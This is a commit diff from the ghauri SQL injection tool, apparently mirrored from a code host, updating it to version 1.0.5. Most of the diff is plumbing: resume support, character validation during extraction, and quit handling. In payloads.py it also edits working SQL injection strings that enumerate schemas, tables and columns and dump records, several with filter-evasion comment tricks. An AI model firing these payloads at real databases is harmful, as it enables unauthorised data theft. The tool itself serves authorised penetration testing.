Projects STRLCPY ghauri Commits b5875fff
🤬
  • updated multiple things, added support for dump in different phase, added proper handling of user ending the phase during data extraction in case on error based injections. bumped v1.0.5

  • Loading...
  • r0oth3x49 committed 2 years ago
    b5875fff
    1 parent 76cff113
  • ■ ■ ■ ■ ■ ■
    README.md
    skipped 47 lines
    48 48   - support proxy option `--proxy`.
    49 49   - supports parsing request from txt file: switch for that `-r file.txt`
    50 50   - supports limiting data extraction for dbs/tables/columns/dump: swicth `--start 1 --stop 2`
     51 + - added support for resuming of all phases.
     52 + - added support for skip urlencoding switch: `--skip-urlencode`
     53 + - added support to verify extracted characters in case of boolean/time based injections.
    51 54   
    52 55   
    53 56  ## **Advanced Usage**
    skipped 33 lines
    87 90   --delay Delay in seconds between each HTTP request
    88 91   --timeout Seconds to wait before timeout connection (default 30)
    89 92   --retries Retries when the connection related error occurs (default 3)
     93 + --skip-urlencode Skip URL encoding of payload data
    90 94   --force-ssl Force usage of SSL/HTTPS
    91 95   
    92 96  Injection:
    skipped 58 lines
  • ■ ■ ■ ■
    ghauri/__init__.py
    skipped 23 lines
    24 24   
    25 25  """
    26 26   
    27  -__version__ = "1.0.4"
     27 +__version__ = "1.0.5"
    28 28  __author__ = "Nasir Khan (r0ot h3x49)"
    29 29  __license__ = "MIT"
    30 30  __copyright__ = "Copyright (c) 2016-2025 Nasir Khan (r0ot h3x49)"
    skipped 2 lines
  • ■ ■ ■ ■ ■ ■
    ghauri/common/lib.py
    skipped 238 lines
    239 239   
    240 240  SESSION_STATEMENETS = """
    241 241  DROP TABLE IF EXISTS tbl_payload;
    242  -DROP TABLE IF EXISTS tbl_common;
    243  -DROP TABLE IF EXISTS tbl_dbs;
    244 242  DROP TABLE IF EXISTS storage;
    245 243  CREATE TABLE tbl_payload (
    246 244   id integer PRIMARY KEY AUTOINCREMENT,
    skipped 6 lines
    253 251   injection_type text NOT NULL,
    254 252   payload_type text NOT NULL,
    255 253   endpoint text NOT NULL
    256  -);
    257  -CREATE TABLE tbl_common (
    258  - id integer PRIMARY KEY AUTOINCREMENT,
    259  - name text,
    260  - type text
    261  -);
    262  -CREATE TABLE tbl_dbs (
    263  - id integer PRIMARY KEY AUTOINCREMENT,
    264  - name text
    265 254  );
    266 255  CREATE TABLE storage (
    267 256   id integer PRIMARY KEY AUTOINCREMENT,
    skipped 7 lines
    275 264  INSERT
    276 265   INTO tbl_payload (`title`, `attempts`, `payload`, `vector`, `backend`, `parameter`, `injection_type`, `payload_type`, `endpoint`)
    277 266  VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?);
    278  -"""
    279  -COMMON_STATEMENT = """
    280  -INSERT
    281  - INTO tbl_common (`name`, `type`)
    282  -VALUES (?, ?);
    283  -"""
    284  -DBS_STATEMENT = """
    285  -INSERT
    286  - INTO tbl_dbs (`name`)
    287  -VALUES (?, ?);
    288 267  """
    289 268   
    290 269  STORAGE = """
    skipped 7 lines
  • ■ ■ ■ ■ ■ ■
    ghauri/common/payloads.py
    skipped 52 lines
    53 53   "MySQL": {
    54 54   "ASCII": "ORD(MID({query},{position},1))={char}",
    55 55   "ASC": "ORD(MID(IFNULL({query},0x20),{position},1))={char}",
    56  - "CHAR": "MID({query},{position},1)=CHAR({char})",
     56 + # "CHAR": "MID({query},{position},1)=CHAR({char})",
    57 57   },
    58 58   "Oracle": {
    59 59   "ASCII": "ASCII(SUBSTRC({query},{position},1))={char}",
    60 60   "ASC": "ASCII(SUBSTRC(NVL({query},CHR(32)),{position},1))={char}",
    61  - "CHAR": "SUBSTR({query},{position},1)=CHR({char})",
     61 + # "CHAR": "SUBSTR({query},{position},1)=CHR({char})",
    62 62   },
    63 63   "Microsoft SQL Server": {
    64 64   "ASCII": "UNICODE(SUBSTRING({query},{position},1))={char}",
    65 65   "ASC": "UNICODE(SUBSTRING(ISNULL({query},' '),{position},1))={char}",
    66  - "CHAR": "SUBSTRING({query},{position},1)=CHAR({char})",
     66 + # "CHAR": "SUBSTRING({query},{position},1)=CHAR({char})",
    67 67   },
    68 68   "PostgreSQL": {
    69 69   "ASCII": "ASCII(SUBSTRING({query}::text FROM {position} FOR 1))={char}",
    70 70   "ASC": "ASCII(SUBSTRING((COALESCE({query}::text,CHR(32)))::text FROM {position} FOR 1))={char}",
    71  - "CHAR": "SUBSTRING({query}::text FROM {position} FOR 1)=CHR({char})",
     71 + # "CHAR": "SUBSTRING({query}::text FROM {position} FOR 1)=CHR({char})",
    72 72   },
    73 73  }
    74 74   
    skipped 1502 lines
    1577 1577   "MySQL": [
    1578 1578   "(SELECT CONCAT(SCHEMA_NAME)FROM(INFORMATION_SCHEMA.SCHEMATA)LIMIT 0,1)",
    1579 1579   "(/*!SELECT*//**_**/CONCAT/**_**/(/*!50000SCHEMA_NAME*/)%23/**_**/%0AFROM%23/**_**/%0A(/*!INFORMATION_SCHEMA*/./**_**//*!SCHEMATA*/))LIMIT 0,1",
    1580  - "(SELECT CONCAT_WS(0x09,SCHEMA_NAME)FROM(INFORMATION_SCHEMA.SCHEMATA)LIMIT 0,1)",
    1581  - "(/*!SELECT*/ CONCAT_WS(0x09,/*!SCHEMA_NAME*/)FROM(/*!INFORMATION_SCHEMA*/./**_**//*!SCHEMATA*/)LIMIT/**_**/0,1)",
     1580 + "(SELECT CONCAT_WS(0x28,0x7e,SCHEMA_NAME)FROM(INFORMATION_SCHEMA.SCHEMATA)LIMIT 0,1)",
     1581 + "(/*!SELECT*/ CONCAT_WS(0x28,0x7e,/*!SCHEMA_NAME*/)FROM(/*!INFORMATION_SCHEMA*/./**_**//*!SCHEMATA*/)LIMIT/**_**/0,1)",
    1582 1582   ],
    1583 1583   "PostgreSQL": [
    1584 1584   "(SELECT DISTINCT(schemaname) FROM pg_tables ORDER BY schemaname OFFSET 0 LIMIT 1)",
    skipped 58 lines
    1643 1643   "(SELECT CONCAT(TABLE_NAME)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA={db})LIMIT 0,1)",
    1644 1644   "(SELECT CONCAT(TABLE_NAME)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA LIKE {db})LIMIT 0,1)",
    1645 1645   "(SELECT CONCAT(TABLE_NAME)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA IN/**_**/({db}))LIMIT 0,1)",
    1646  - "(SELECT CONCAT_WS(0x09,TABLE_NAME)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA={db})LIMIT 0,1)",
    1647  - "(/*!SELECT*/ CONCAT_WS(0x09,/*!TABLE_NAME*/)FROM(/*!INFORMATION_SCHEMA*/./**_**//*!TABLES*/)/*!50000WHERE*/(TABLE_SCHEMA={db})LIMIT/**_**/0,1)",
     1646 + "(SELECT CONCAT_WS(0x28,0x7e,TABLE_NAME)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA={db})LIMIT 0,1)",
     1647 + "(/*!SELECT*/ CONCAT_WS(0x28,0x7e,/*!TABLE_NAME*/)FROM(/*!INFORMATION_SCHEMA*/./**_**//*!TABLES*/)/*!50000WHERE*/(TABLE_SCHEMA={db})LIMIT/**_**/0,1)",
    1648 1648   ],
    1649 1649   "PostgreSQL": [
    1650 1650   "(SELECT TABLENAME::text FROM pg_tables WHERE SCHEMANAME={db} OFFSET 0 LIMIT 1)",
    skipped 59 lines
    1710 1710   "(SELECT CONCAT(COLUMN_NAME)FROM(INFORMATION_SCHEMA.COLUMNS)WHERE(TABLE_SCHEMA={db})AND(TABLE_NAME={tbl})LIMIT 0,1)",
    1711 1711   "(SELECT CONCAT(COLUMN_NAME)FROM(INFORMATION_SCHEMA.COLUMNS)WHERE(TABLE_SCHEMA LIKE {db})AND(TABLE_NAME LIKE {tbl})LIMIT 0,1)",
    1712 1712   "(SELECT CONCAT(COLUMN_NAME)FROM(INFORMATION_SCHEMA.COLUMNS)WHERE(TABLE_SCHEMA IN/**_**/({db}))AND(TABLE_NAME IN({tbl}))LIMIT 0,1)",
    1713  - "(SELECT CONCAT_WS(0x09,COLUMN_NAME)FROM(INFORMATION_SCHEMA.COLUMNS)WHERE(TABLE_SCHEMA={db})AND(/*!50000TABLE_NAME*/={tbl})LIMIT 0,1)",
    1714  - "(/*!SELECT*/ CONCAT_WS(0x09,/*!COLUMN_NAME*/)FROM(/*!INFORMATION_SCHEMA*/./**_**//*!COLUMNS*/)/*!50000WHERE*/(TABLE_SCHEMA={db})AND(/*!50000TABLE_NAME*/={tbl})LIMIT/**_**/0,1)",
     1713 + "(SELECT CONCAT_WS(0x28,0x7e,COLUMN_NAME)FROM(INFORMATION_SCHEMA.COLUMNS)WHERE(TABLE_SCHEMA={db})AND(/*!50000TABLE_NAME*/={tbl})LIMIT 0,1)",
     1714 + "(/*!SELECT*/ CONCAT_WS(0x28,0x7e,/*!COLUMN_NAME*/)FROM(/*!INFORMATION_SCHEMA*/./**_**//*!COLUMNS*/)/*!50000WHERE*/(TABLE_SCHEMA={db})AND(/*!50000TABLE_NAME*/={tbl})LIMIT/**_**/0,1)",
    1715 1715   ],
    1716 1716   "PostgreSQL": [
    1717 1717   "(SELECT COLUMN_NAME::text FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA LIKE {db} AND TABLE_NAME LIKE {tbl} OFFSET 0 LIMIT 1)",
    skipped 16 lines
    1734 1734  PAYLOADS_RECS_COUNT = {
    1735 1735   "MySQL": [
    1736 1736   "(SELECT COUNT(*) FROM {db}.{tbl})",
    1737  - # "(SELECT COUNT(*)FROM({db}.{tbl}))",
     1737 + "(SELECT COUNT(*)FROM({db}.{tbl}))",
    1738 1738   # "(/*!50000SELECT*/+COUNT(/*!50000**/)/*!50000FROM*/(/*!50000{db}*/./*!50000`{tbl}`*/))",
    1739 1739   "(SELECT IFNULL(TABLE_ROWS, 0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA={db})AND(TABLE_NAME={tbl}))",
    1740 1740   "(SELECT IFNULL(TABLE_ROWS, 0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA LIKE {db})AND(TABLE_NAME LIKE {tbl}))",
    skipped 13 lines
    1754 1754   
    1755 1755  PAYLOADS_RECS_DUMP = {
    1756 1756   "MySQL": [
    1757  - "(SELECT {col} FROM {db}.{tbl} LIMIT 0,1)",
     1757 + "(SELECT CONCAT_WS(0x28,0x7e,{col})FROM({db}.`{tbl}`)LIMIT 0,1)",
    1758 1758   "(SELECT CONCAT({col}) FROM {db}.{tbl} LIMIT 0,1)",
    1759  - # "(SELECT CONCAT_WS(0x7e,{col})FROM({db}.`{tbl}`)LIMIT 0,1)",
    1760  - # "(/*!50000SELECT*/+CONCAT/**_**/(/*!50000{col}*/)/*!50000FROM*/+/*!50000{db}.{tbl}*/+LIMIT+0,1)",
    1761  - # "(SELECT/**/CONCAT({col})FROM/**/{db}.{tbl}/**/LIMIT/**_**/0,1)",
    1762  - # "(/*!50000SELECT*//**/CONCAT/**_**/(/*!50000{col}*/)/*!50000FROM*/(/*!50000{db}*/./*!50000`{tbl}`*/)LIMIT/**/0,1)",
    1763  - # "(/*!50000SELECT*/+CONCAT/**_**/({col})/*!50000FROM*/+/*!50000{db}*/./*!50000{tbl}*/+LIMIT+0,1)",
    1764  - # "(/*!50000SELECT*//**/CONCAT({col})/*!50000FROM*//**//*!50000{db}*/./*!50000{tbl}*//**/LIMIT/**_**/0,1)",
     1759 + "(/*!50000SELECT*/ CONCAT/**_**/(/*!50000{col}*/)/*!50000FROM*/ /*!50000{db}.{tbl}*/ LIMIT 0,1)",
     1760 + "(SELECT IFNULL({col},0x20) FROM {db}.{tbl} LIMIT 0,1)",
     1761 + "(SELECT/**/CONCAT({col})FROM/**/{db}.{tbl}/**/LIMIT/**_**/0,1)",
     1762 + "(/*!50000SELECT*//**/CONCAT/**_**/(/*!50000{col}*/)/*!50000FROM*/(/*!50000{db}*/./*!50000`{tbl}`*/)LIMIT/**/0,1)",
     1763 + "(/*!50000SELECT*/ CONCAT/**_**/({col})/*!50000FROM*/ /*!50000{db}*/./*!50000{tbl}*/ LIMIT 0,1)",
     1764 + "(/*!50000SELECT*//**/CONCAT({col})/*!50000FROM*//**//*!50000{db}*/./*!50000{tbl}*//**/LIMIT/**_**/0,1)",
    1765 1765   ],
    1766 1766   "PostgreSQL": [
    1767 1767   "(SELECT {col}::text FROM {db}.{tbl} OFFSET 0 LIMIT 1)",
    skipped 17 lines
  • ■ ■ ■ ■ ■ ■
    ghauri/common/utils.py
    skipped 55 lines
    56 56  from ghauri.logger.colored_logger import logger
    57 57  from ghauri.common.prettytable import PrettyTable, from_db_cursor
    58 58   
    59  - 
    60  -USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36"
    61  - 
    62 59  # source: https://stackoverflow.com/questions/4685217/parse-raw-http-headers
    63 60  class HTTPRequest(BaseHTTPRequestHandler):
    64 61   def __init__(self, request_text):
    skipped 190 lines
    255 252   value = re.sub(r"\s+", " ", re.sub(r"(?:(?:[\(]+)|(?:[~]+))", "", value)).strip()
    256 253   if strip_value:
    257 254   value = re.sub(strip_value, "", value)
     255 + if not value:
     256 + value = "<blank_value>"
    258 257   return value
    259 258   
    260 259   
    skipped 565 lines
    826 825   for i in payloads
    827 826   ]
    828 827   elif table and database and not column: # when just table and database is given
    829  - print((table, database, column))
    830 828   _temp = [
    831 829   i.format(
    832 830   db=to_dbms_encoding(value=database, backend=backend)
    skipped 569 lines
    1402 1400   )
    1403 1401   if host:
    1404 1402   custom_headers += f"Host: {host}\n"
    1405  - if USER_AGENT:
    1406  - custom_headers += f"User-agent: {USER_AGENT}\n"
     1403 + if user_agent:
     1404 + custom_headers += f"User-agent: {user_agent}\n"
    1407 1405   if referer:
    1408 1406   custom_headers += f"Referer: {referer}\n"
    1409 1407   if header and ":" in header:
    skipped 35 lines
    1445 1443   return _temp
    1446 1444   
    1447 1445   
     1446 +def get_random_user_agent():
     1447 + ua = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36"
     1448 + return ua
     1449 + 
     1450 + 
    1448 1451  def prepare_request(url, data, custom_headers, use_requests=False):
    1449  - Response = collections.namedtuple("Response", ["raw", "path", "headers", "request"])
     1452 + Response = collections.namedtuple(
     1453 + "Response", ["raw", "path", "headers", "request", "endpoint"]
     1454 + )
    1450 1455   request_type = "GET"
    1451 1456   if url and data:
    1452 1457   request_type = "POST"
    1453 1458   parsed = urlparse(url)
     1459 + endpoint = parsed.path
    1454 1460   path = parsed.path if not parsed.query else f"{parsed.path}?{parsed.query}"
    1455 1461   if not path:
    1456 1462   path = "/"
    1457 1463   if not custom_headers:
    1458  - custom_headers = f"User-agent: {USER_AGENT}"
    1459  - if custom_headers and "user-agent" not in custom_headers.lower():
    1460  - custom_headers += f"\nUser-agent: {USER_AGENT}"
    1461  - if custom_headers and "host" not in custom_headers.lower():
    1462  - custom_headers += f"\nHost: {parsed.netloc}"
    1463  - if custom_headers and "cache-control" not in custom_headers.lower():
    1464  - custom_headers += "\nCache-Control: no-cache"
    1465  - if custom_headers and "accept" not in custom_headers.lower():
    1466  - custom_headers += "\nAccept: */*"
    1467  - if custom_headers and "accept-encoding" not in custom_headers.lower():
    1468  - custom_headers += "\nAccept-Encoding: none"
    1469  - if custom_headers and "connection" not in custom_headers.lower():
    1470  - custom_headers += "Connection: close"
     1464 + ua = get_random_user_agent()
     1465 + custom_headers = f"User-agent: {ua}"
     1466 + if custom_headers and "user-agent" not in custom_headers.lower():
     1467 + custom_headers += f"\nUser-agent: {ua}"
     1468 + if custom_headers and "host" not in custom_headers.lower():
     1469 + custom_headers += f"\nHost: {parsed.netloc}"
     1470 + if custom_headers and "cache-control" not in custom_headers.lower():
     1471 + custom_headers += "\nCache-Control: no-cache"
     1472 + if custom_headers and "accept" not in custom_headers.lower():
     1473 + custom_headers += "\nAccept: */*"
     1474 + if custom_headers and "accept-encoding" not in custom_headers.lower():
     1475 + custom_headers += "\nAccept-Encoding: none"
     1476 + if custom_headers and "connection" not in custom_headers.lower():
     1477 + custom_headers += "\nConnection: close"
    1471 1478   custom_headers = "\n".join([i.strip() for i in custom_headers.split("\n") if i])
    1472 1479   raw = f"{request_type} {path} HTTP/1.1\n"
    1473 1480   raw += f"{custom_headers if custom_headers else ''}\n"
    skipped 20 lines
    1494 1501   path=path,
    1495 1502   headers=custom_headers,
    1496 1503   request={"url": url, "data": data, "headers": header},
     1504 + endpoint=endpoint,
    1497 1505   )
    1498 1506   return resp
    1499 1507   
    skipped 161 lines
    1661 1669   )
    1662 1670   _temp.append(_r)
    1663 1671   if error_based_only:
    1664  - logger.debug("preparing error based payloads")
    1665 1672   entries = payloads.get("error-based", [])
    1666 1673   for entry in entries:
    1667 1674   _ = entry.get("payload")
    skipped 31 lines
  • ■ ■ ■ ■ ■
    ghauri/core/extract.py
    skipped 147 lines
    148 148   user_input="C",
    149 149   )
    150 150   if choice == "q":
    151  - break
     151 + logger.error("user quit")
     152 + logger.end("ending")
     153 + exit(0)
    152 154   if choice == "c":
    153 155   http_firewall_code_counter = 0
    154 156   if retry_on_error >= retry:
    skipped 4 lines
    159 161   user_input="C",
    160 162   )
    161 163   if choice == "q":
    162  - break
     164 + logger.error("user quit")
     165 + logger.end("ending")
     166 + exit(0)
    163 167   if choice == "c":
    164 168   retry_on_error = 0
    165 169   if delay > 0:
    skipped 167 lines
    333 337   user_input="C",
    334 338   )
    335 339   if choice == "q":
    336  - break
     340 + logger.error("user quit")
     341 + logger.end("ending")
     342 + exit(0)
    337 343   if choice == "c":
    338 344   http_firewall_code_counter = 0
    339 345   if retry_on_error >= retry:
    skipped 4 lines
    344 350   user_input="C",
    345 351   )
    346 352   if choice == "q":
    347  - break
     353 + logger.error("user quit")
     354 + logger.end("ending")
     355 + exit(0)
    348 356   if choice == "c":
    349 357   retry_on_error = 0
    350 358   if delay > 0:
    skipped 151 lines
    502 510   user_input="C",
    503 511   )
    504 512   if choice == "q":
    505  - break
     513 + logger.error("user quit")
     514 + logger.end("ending")
     515 + exit(0)
    506 516   if choice == "c":
    507 517   http_firewall_code_counter = 0
    508 518   if retry_on_error >= retry:
    skipped 4 lines
    513 523   user_input="C",
    514 524   )
    515 525   if choice == "q":
    516  - break
     526 + logger.error("user quit")
     527 + logger.end("ending")
     528 + exit(0)
    517 529   if choice == "c":
    518 530   retry_on_error = 0
    519 531   if delay > 0:
    skipped 159 lines
    679 691   user_input="C",
    680 692   )
    681 693   if choice == "q":
    682  - break
     694 + logger.error("user quit")
     695 + logger.end("ending")
     696 + exit(0)
    683 697   if choice == "c":
    684 698   http_firewall_code_counter = 0
    685 699   if retry_on_error >= retry:
    skipped 4 lines
    690 704   user_input="C",
    691 705   )
    692 706   if choice == "q":
    693  - break
     707 + logger.error("user quit")
     708 + logger.end("ending")
     709 + exit(0)
    694 710   if choice == "c":
    695 711   retry_on_error = 0
    696 712   if delay > 0:
    skipped 145 lines
    842 858   user_input="C",
    843 859   )
    844 860   if choice == "q":
    845  - break
     861 + logger.error("user quit")
     862 + logger.end("ending")
     863 + exit(0)
    846 864   if choice == "c":
    847 865   http_firewall_code_counter = 0
    848 866   if retry_on_error >= retry:
    skipped 4 lines
    853 871   user_input="C",
    854 872   )
    855 873   if choice == "q":
    856  - break
     874 + logger.error("user quit")
     875 + logger.end("ending")
     876 + exit(0)
    857 877   if choice == "c":
    858 878   retry_on_error = 0
    859 879   ascii_char = list_of_chars[start]
    skipped 146 lines
    1006 1026   )
    1007 1027   except KeyboardInterrupt as error:
    1008 1028   logger.error(
    1009  - "user interrupted during number of characters in length query retrieval.."
     1029 + "user aborted during number of characters in length query retrieval."
    1010 1030   )
    1011 1031   logger.end("ending")
    1012 1032   exit(0)
    skipped 242 lines
    1255 1275   user_input="C",
    1256 1276   )
    1257 1277   if choice == "q":
    1258  - break
     1278 + logger.error("user quit")
     1279 + logger.end("ending")
     1280 + exit(0)
    1259 1281   if choice == "c":
    1260 1282   http_firewall_code_counter = 0
    1261 1283   if retry_on_error >= retry:
    skipped 4 lines
    1266 1288   user_input="C",
    1267 1289   )
    1268 1290   if choice == "q":
    1269  - break
     1291 + logger.error("user quit")
     1292 + logger.end("ending")
     1293 + exit(0)
    1270 1294   if choice == "c":
    1271 1295   retry_on_error = 0
    1272 1296   entry = payloads[start]
    skipped 28 lines
    1301 1325   user_input="C",
    1302 1326   )
    1303 1327   if quest and quest == "e":
    1304  - break
     1328 + _temp = PayloadResponse(
     1329 + ok=False,
     1330 + error="user_ended",
     1331 + result="",
     1332 + payload="",
     1333 + resumed=is_resumed,
     1334 + )
     1335 + return _temp
    1305 1336   if quest and quest == "q":
    1306 1337   logger.error("user quit")
    1307 1338   logger.end("ending")
    skipped 51 lines
    1359 1390   logger.warning(
    1360 1391   "it was not possible to count the number of entries for the SQL query provided. Ghauri will assume that it returns only one entry"
    1361 1392   )
    1362  - try:
    1363  - if dump_type:
    1364  - session.dump(
    1365  - session_filepath=conf.session_filepath,
    1366  - query=STORAGE,
    1367  - values=(
    1368  - retval,
    1369  - len(retval),
    1370  - dump_type,
    1371  - ),
    1372  - )
    1373  - except Exception as error:
    1374  - logger.warning(error)
    1375  - _temp = PayloadResponse(
    1376  - ok=True,
    1377  - error="",
    1378  - result=retval,
    1379  - payload=entry,
    1380  - resumed=is_resumed,
    1381  - )
    1382  - break
     1393 + try:
     1394 + if dump_type:
     1395 + session.dump(
     1396 + session_filepath=conf.session_filepath,
     1397 + query=STORAGE,
     1398 + values=(
     1399 + retval,
     1400 + len(retval),
     1401 + dump_type,
     1402 + ),
     1403 + )
     1404 + except Exception as error:
     1405 + logger.warning(error)
     1406 + _temp = PayloadResponse(
     1407 + ok=True,
     1408 + error="",
     1409 + result=retval,
     1410 + payload=entry,
     1411 + resumed=is_resumed,
     1412 + )
     1413 + break
    1383 1414   return _temp
    1384 1415   
    1385 1416   def fetch_characters(
    skipped 29 lines
    1415 1446   _temp = PayloadResponse(
    1416 1447   ok=False, error="", result="", payload="", resumed=False
    1417 1448   )
    1418  - error_based_in_vectors = bool("error_vector" in self.vectors)
     1449 + other_vectors = bool(
     1450 + "boolean_vector" in conf.vectors or "time_vector" in conf.vectors
     1451 + )
    1419 1452   retval_error = self.fetch_using_error_based_vector(
    1420 1453   url,
    1421 1454   data,
    skipped 21 lines
    1443 1476   resumed=retval_error.resumed,
    1444 1477   )
    1445 1478   return _temp_error
    1446  - if not retval_error.ok and error_based_in_vectors:
    1447  - logger.debug(
    1448  - "ghauri is going to use other injected vectors payloads if any."
    1449  - )
     1479 + if not retval_error.ok:
     1480 + if retval_error.error == "user_ended":
     1481 + _temp_error = PayloadResponse(
     1482 + ok=retval_error.ok,
     1483 + error=retval_error.error,
     1484 + result=retval_error.result,
     1485 + payload=retval_error.payload,
     1486 + resumed=retval_error.resumed,
     1487 + )
     1488 + return _temp_error
     1489 + if other_vectors:
     1490 + logger.debug(
     1491 + "ghauri is going to use other injected vectors payloads if any."
     1492 + )
    1450 1493   if not list_of_chars:
    1451 1494   list_of_chars = "._-1234567890aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ@+!#$%^&*()+"
    1452 1495   data_extraction_payloads = DATA_EXTRACTION_PAYLOADS.get(backend)
    skipped 5 lines
    1458 1501   user_aborted = False
    1459 1502   change_algo_on_invalid_character = False
    1460 1503   invalid_character_detection_counter = 0
     1504 + bool_invalid_character_counter = 0
    1461 1505   is_change_algo_notified = False
    1462 1506   binary_search = False
    1463 1507   in_based_search = False
    skipped 143 lines
    1607 1651   text_only=text_only,
    1608 1652   vector_type=vector_type,
    1609 1653   )
     1654 + if retval:
     1655 + is_valid = self.validate_character(
     1656 + url=url,
     1657 + data=data,
     1658 + vector=vector,
     1659 + parameter=parameter,
     1660 + headers=headers,
     1661 + base=base,
     1662 + injection_type=injection_type,
     1663 + proxy=proxy,
     1664 + is_multipart=is_multipart,
     1665 + timeout=timeout,
     1666 + delay=delay,
     1667 + timesec=timesec,
     1668 + identified_character=retval,
     1669 + vector_type=vector_type,
     1670 + offset=pos,
     1671 + expression_payload=value,
     1672 + queryable=entry,
     1673 + )
     1674 + if not is_valid:
     1675 + logger.warning(
     1676 + "invalid character detected, retrying."
     1677 + )
     1678 + bool_invalid_character_counter += 1
     1679 + binary_search = False
     1680 + in_based_search = True
     1681 + linear_search = False
     1682 + if is_valid:
     1683 + pos += 1
     1684 + chars += retval
    1610 1685   elif in_based_search:
    1611 1686   retval = self._search_using_in_operator(
    1612 1687   url=url,
    skipped 22 lines
    1635 1710   chars=chars,
    1636 1711   vector_type=vector_type,
    1637 1712   )
     1713 + if retval:
     1714 + is_valid = self.validate_character(
     1715 + url=url,
     1716 + data=data,
     1717 + vector=vector,
     1718 + parameter=parameter,
     1719 + headers=headers,
     1720 + base=base,
     1721 + injection_type=injection_type,
     1722 + proxy=proxy,
     1723 + is_multipart=is_multipart,
     1724 + timeout=timeout,
     1725 + delay=delay,
     1726 + timesec=timesec,
     1727 + identified_character=retval,
     1728 + vector_type=vector_type,
     1729 + offset=pos,
     1730 + expression_payload=value,
     1731 + queryable=entry,
     1732 + )
     1733 + if not is_valid:
     1734 + logger.warning(
     1735 + "invalid character detected, retrying."
     1736 + )
     1737 + bool_invalid_character_counter += 1
     1738 + binary_search = False
     1739 + in_based_search = False
     1740 + linear_search = True
     1741 + if is_valid:
     1742 + pos += 1
     1743 + chars += retval
    1638 1744   else:
    1639 1745   retval = self._linear_search(
    1640 1746   url=url,
    skipped 20 lines
    1661 1767   vector_type=vector_type,
    1662 1768   base=base,
    1663 1769   )
    1664  - pos += 1
    1665  - chars += retval
     1770 + if retval:
     1771 + is_valid = self.validate_character(
     1772 + url=url,
     1773 + data=data,
     1774 + vector=vector,
     1775 + parameter=parameter,
     1776 + headers=headers,
     1777 + base=base,
     1778 + injection_type=injection_type,
     1779 + proxy=proxy,
     1780 + is_multipart=is_multipart,
     1781 + timeout=timeout,
     1782 + delay=delay,
     1783 + timesec=timesec,
     1784 + identified_character=retval,
     1785 + vector_type=vector_type,
     1786 + offset=pos,
     1787 + expression_payload=value,
     1788 + queryable=entry,
     1789 + )
     1790 + if not is_valid:
     1791 + logger.warning(
     1792 + "invalid character detected, retrying."
     1793 + )
     1794 + bool_invalid_character_counter += 1
     1795 + binary_search = True
     1796 + in_based_search = True
     1797 + linear_search = False
     1798 + if is_valid:
     1799 + pos += 1
     1800 + chars += retval
    1666 1801   try:
    1667  - if dump_type:
     1802 + if bool_invalid_character_counter >= 3:
     1803 + logger.debug(
     1804 + "boolean based technique(s) is not usable to data extraction switching to other if any.."
     1805 + )
     1806 + break
     1807 + if dump_type and chars:
    1668 1808   session.dump(
    1669 1809   session_filepath=conf.session_filepath,
    1670 1810   query=STORAGE_UPDATE,
    skipped 160 lines
  • ■ ■ ■ ■ ■ ■
    ghauri/core/request.py
    skipped 101 lines
    102 102   url=url, data=data, custom_headers=headers, use_requests=use_requests
    103 103   )
    104 104   raw = req.raw
    105  - path = req.path
     105 + endpoint = req.endpoint
    106 106   custom_headers = req.headers
    107 107   request_url = req.request.get("url")
    108 108   logger.traffic_out(f"HTTP request:\n{raw}")
    skipped 134 lines
    243 243   url=parsed_response.url,
    244 244   data=data,
    245 245   text=parsed_response.text,
    246  - path=path,
     246 + path=endpoint,
    247 247   method=method,
    248 248   reason=parsed_response.reason,
    249 249   headers=parsed_response.headers,
    skipped 16 lines
  • ■ ■ ■ ■ ■
    ghauri/core/tests.py
    skipped 76 lines
    77 77   is_json=False,
    78 78  ):
    79 79   is_dynamic = False
     80 + is_resumed = False
    80 81   param_name = ""
    81 82   if is_multipart:
    82 83   param_name += "MULTIPART "
    skipped 3 lines
    86 87   param_key = parameter.get("key")
    87 88   Response = collections.namedtuple(
    88 89   "BasicCheckResponse",
    89  - ["base", "possible_dbms", "is_connection_tested", "is_dynamic"],
     90 + ["base", "possible_dbms", "is_connection_tested", "is_dynamic", "is_resumed"],
    90 91   )
    91 92   _possible_dbms = None
    92 93   try:
    skipped 7 lines
    100 101   is_multipart=is_multipart,
    101 102   timeout=timeout,
    102 103   )
     104 + retval = session.fetchall(
     105 + session_filepath=conf.session_filepath,
     106 + query="SELECT * FROM tbl_payload WHERE `endpoint`=?",
     107 + values=(base.path,),
     108 + )
     109 + if retval:
     110 + logger.debug("ghauri is going to resume target exploitation.")
     111 + is_resumed = True
    103 112   if not is_resumed:
    104 113   logger.info("testing if the target URL content is stable")
    105 114   time.sleep(0.5)
    skipped 76 lines
    182 191   possible_dbms=_possible_dbms,
    183 192   is_connection_tested=True,
    184 193   is_dynamic=is_dynamic,
     194 + is_resumed=is_resumed,
    185 195   )
    186 196   
    187 197   
    skipped 1233 lines
    1421 1431   param = json.loads(retval[-1].get("parameter", "{}"))
    1422 1432   _k = parameter.get("key")
    1423 1433   __k = param.get("key")
    1424  - if not _k == __k:
     1434 + if _k != __k:
     1435 + logger.debug(f"parameter '{_k}' is not tested..")
    1425 1436   return None
    1426 1437   Response = collections.namedtuple(
    1427 1438   "Session",
    skipped 695 lines
    2123 2134   json.dumps(entry.param),
    2124 2135   entry.injection_type,
    2125 2136   entry.payload_type,
    2126  - entry.path,
     2137 + base.path,
    2127 2138   ),
    2128 2139   )
    2129 2140   if injection_type == "GET":
    skipped 106 lines
  • ■ ■ ■ ■ ■ ■
    ghauri/extractor/advance.py
    skipped 268 lines
    269 269   if total > 0:
    270 270   if not stop:
    271 271   stop = total
     272 + else:
     273 + if stop and stop > 0:
